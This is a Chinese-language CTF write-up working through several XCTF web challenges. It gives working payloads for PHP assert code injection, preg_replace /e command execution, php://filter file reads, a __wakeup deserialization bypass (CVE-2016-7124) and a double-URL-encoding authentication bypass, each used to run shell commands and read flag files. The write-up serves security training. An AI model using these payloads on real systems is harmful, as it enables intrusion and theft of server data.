前言:继续总结学到的新知识
mfw
在about页面发现,搭建网站时用了git
,尝试一下是否为git源码泄露
输入:1
http://111.198.29.45:36544/.git/
果然是源码泄露,那就查看一下文件,发现并没有找到flag,在Github上下载git源码泄露工具
,可以得到其源码。
输入相应的命令:
1 | python2 GitHack.py http://111.198.29.45:36544/.git/ |
得到源码,发现并没有flag
查看index.php发现
并没有对GET
进去的参数进行过滤,assert
函数中参数为表达式可以当作PHP
文件来执行,再了解一下以下这两个函数:
1 | strpos() 函数查找字符串在另一字符串中第一次出现的位置。 |
有了assert
函数,又没有过滤,可以用system()
函数进行查看文件等
1 | ?page=flag '.system("ls").' |
查看templates
1 | ?page=flag '.system("cd templates;ls").' |
最后查看flag.php
1 | ?page=flag '.system("cat templates/flag.php").' |
在源码中即可发现flag
注意:
1 | system("") 中命令使用双引号 |
NaNNaNNaNNaN-Batman
下载附件,打开文件发现乱码
不过还是能看到<script>
等标签的,后缀名改为html
观察了还是没有什么头绪,继续看文件源代码
发现在文件最后有一个eval()
函数,改成可以弹窗的alert()
函数将脚本文件通过弹窗显示出来
1 | eval() 函数计算 JavaScript 字符串,并把它作为脚本代码来执行 |
整理好
观察源码,只要满足代码中的正则表达式即可
1 | ^ 匹配输入字符串的开始位置 |
又限制了e的长度,^
和$
必须匹配到,所以可以构造
1 | e=be0f23233ace98aa |
还有一种方法利用控制台直接执行下面的代码
即可得出flag
PHP2
什么也没有,抓包,御剑扫
发现index.php
,但是打开还是这个页面,那就试一下index.phps
,发现有源码泄露
这里解释一下.phps
文件
phps文件就是php的源代码文件,通常用于提供给用户(访问者)查看php代码,因为用户无法直接通过Web浏览器看到php文件的内容,所以需要用phps文件代替。
接下来分析源代码
1 | ===是恒等计算符 同时检查表达式的值与类型 |
第一步需要使这行代码不成立
1 | if("admin"===$_GET[id]) |
第二步需满足这行代码成立$_GET[id] = urldecode($_GET[id]);if($_GET[id] == "admin")
由于网站在解析输入的参数时会对非ASCII码的字符进行一次urlencode
所以构造payload时将其中一个字符urlencode
两次即可
payload:
1 | http://111.198.29.45:40639/index.php?id=a%2564min |
即可得出flag
unserialize3
这个格式再加上题目,很容易就可以想到是考察反序列化的
PHP魔法函数中存在__wakeup()
方法,unserialize()
会检查是否存在一个__wakeup()
方法。如果存在,则先会调用__wakeup()
方法。
下面就来构造payload:
1 | O:4:"xctf":1:{s:4:"flag";s:3:"111";} |
发现回显结果为:
bad requests
这里是因为__wakeup()
的影响,所以要绕过__wakeup
,
当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)
故构造payload:
1 | ?code=O:4:"xctf":3:{s:4:"flag";s:3:"111";} |
即可得出flag
补充:属性
类的变量成员叫做“属性”,或者叫“字段”、“特征”,在本文档统一称为“属性”。属性声明是由关键字 public,protected 或者 private 开头,然后跟一个普通的变量声明来组成。
1 | // 正确的属性声明 |
ics-05
御剑、源码都没有什么线索,点击一下云平台设备维护中心
,发现URL有变化
1 | LFI漏洞的黑盒判断方法: |
所以猜测是应该是文件包含读源码
,利用php://filter
协议即可
1 | ?page=php://filter/read=convert.base64-encode/resource=index.php |
base64解码得到index.php
源码,在源码中发现关键的代码
1 | $_SERVER['HTTP_X_FORWARDED_FOR'] 获取IP地址 |
这串代码存在一个漏洞,preg_replace
函数存在命令执行漏洞preg_replace()
函数使用 /e
模式,导致代码执行的问题
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
所以利用这个漏洞可以执行一些命令
抓包,首先设置IP
地址为127.0.01
,再传入三个参数的值
1 | ?pat=/1234/e&rep=system("ls")&sub=1234 |
发现一个特别的文件夹s3chahahaDir
,进行查看
1 | ?pat=/1234/e&rep=system("cd%20s3chahahaDir%26%26%20ls")&sub=1234 |
在这里用空格会没有变化,用%20
或者+
代替,%26%26
为&&
1 | A&&B A执行成功,然后才会执行B |
发现flag
文件,进行查看
1 | ?pat=/1234/e&rep=system("cd%20s3chahahaDir/flag%26%26%20ls")&sub=1234 |
使用cat
命令查看flag.php
1 | ?pat=/1234/e&rep=system("cat%20s3chahahaDir/flag/flag.php")&sub=1234 |
即可得出flag
总结:这次就先总结到这里,下次继续总结!